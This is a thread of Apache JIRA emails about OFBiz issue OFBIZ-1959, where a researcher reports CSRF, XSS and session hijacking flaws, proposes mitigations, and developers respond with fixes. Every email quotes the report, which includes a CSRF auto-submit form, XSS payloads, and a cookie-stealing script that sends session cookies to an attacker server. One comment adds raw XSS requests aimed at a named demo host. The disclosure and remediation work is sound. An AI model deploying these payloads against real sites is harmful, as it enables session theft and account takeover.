> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12673494#action_12673494 ]
Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------
Hi Michele,
Could you please check, with the tools you are used to use for that, that the recent efforts on security has fixed the problems you encoutered. I think that it's ok for XSS but I did not check yet XSRF and Session Hijacking. Anyway using an update specialised tool for that should not hurt and you are far more knowledgeable than me on that...
Thanks
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674013#action_12674013 ]
Michele Orru commented on OFBIZ-1959:
-------------------------------------
Hi Jacques
Sorry to come here in the discussion two days later...
I will check it in these days...I will update my ofbiz trunk now.
And this night I will check it.
Anyway, any details, reference about tools you used to fix the vulns? ESAPI?
let me know
All the best Jacques
Michele Orru'
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675958#action_12675958 ]
Michele Orru commented on OFBIZ-1959:
-------------------------------------
Anyway...The hackaton idea is not bad!
I really would like to do something like "Trying to subvert ofbiz for fun and profit" (joke, just Aleph1 citation).
I think that what we are missing here, when trying to improve the security of Ofbiz, is the fragmented nature of some parts of the project.
Basically David didn't solve all the XSS issues only because there are too many control points in the application, so put a filter here and there, such as in Freemarker logic, Service Validation layer or XML Form widget layer is not so easy and error-free.
I also think that the best thing to do (at least from a security point of view) is to write a Wiki article about this, explaining well:
- how David did the changes in the code (that's what I'm looking for, and they're are well coded),
- how and when wrap a parameter in FreeMarker during development of custom FTLs,
- how to configure services to override some parameter checking filtering HTML in a safe way,
and so on...
I will write this guide, cause I'm spending a lot of time with Ofbiz security (and That's really enjoyable...), and because I believe in the power of Ofbiz as ERP and ecommerce application (and because I don't want to put ModSecurity in front of each of our Ofbiz installations :) ).
Well...
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues
(XSRF, XSS, Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ]
euronymous edited comment on OFBIZ-1959 at 2/23/09 7:48 AM:
--------------------------------------------------------------
Hi David, Hi Jacques
Here I've found another bunch of unprotected resources vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Testing my (unsuccefull) patches, I was thinking to try the attack vectors in a few places to hotwaxmedia ofbiz trunk server...
Anyway, here it is the "quite malicious" request:
GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin
Cache-Control: max-age=0
The code rendered in the response, if you need it to better understand the situation:
[...]
<!-- Begin Section Widget -->
<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->
<form method="post" action="/catalog/control/createProdCatalog" id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">
<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">
<tr>
<td class="label">Catalog [ID]</td>
<td><input type="text" name="prodCatalogId" value="DemoCatalog"><script>alert(6)</script>" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>
</td>
</tr>
[...]
Almost the same here:
GET /catalog/control/EditProductConfigItem?configItemId=PZ0000%22%3E%3Cscript%3Ealert(666)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
[...]
Let me know
Michele Orrù
was (Author: euronymous):
Hi David, Hi Jacques
Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :(
Anyway, here it is the "quite malicious" request:
GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin
Cache-Control: max-age=0
The code rendered in the response, if you need it to better understand the situation:
[...]
<!-- Begin Section Widget -->
<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->
<form method="post" action="/catalog/control/createProdCatalog" id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">
<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">
<tr>
<td class="label">Catalog [ID]</td>
<td><input type="text" name="prodCatalogId" value="DemoCatalog"><script>alert(6)</script>" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>
</td>
</tr>
[...]
Let me know
Michele Orrù
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "David E. Jones (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675503#action_12675503 ]
David E. Jones commented on OFBIZ-1959:
---------------------------------------
Thanks for your comments Michele. I took a look at the viewprofile screen and various others using a parameter like this and found various places that needed encoding that didn't have it from my first pass.
The problems you mentioned specifically, and hopefully most (or even all!) similar problems with labels and links (in the screen, menu, and tree widgets), hidden form fields, etc are now resolved. I was at least able to go to all of the Party Manager viewprofile tabs without the script being run.
Thanks again for testing more Michele, and for others interested, please feel free to do the same!
Maybe some day we'll get a chance to do a hackathon where we literally try to hack OFBiz...
Oh, and yes, more effort for XSRF and session hijacking is needed. I've been thinking about that off and on and haven't come up with a good way to do a rotating or random token without significant overhead or the possibility of valid links not working for pages loaded in the past (like another tab/window in the same session or something, like the problem we have with the externalLoginKey).
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
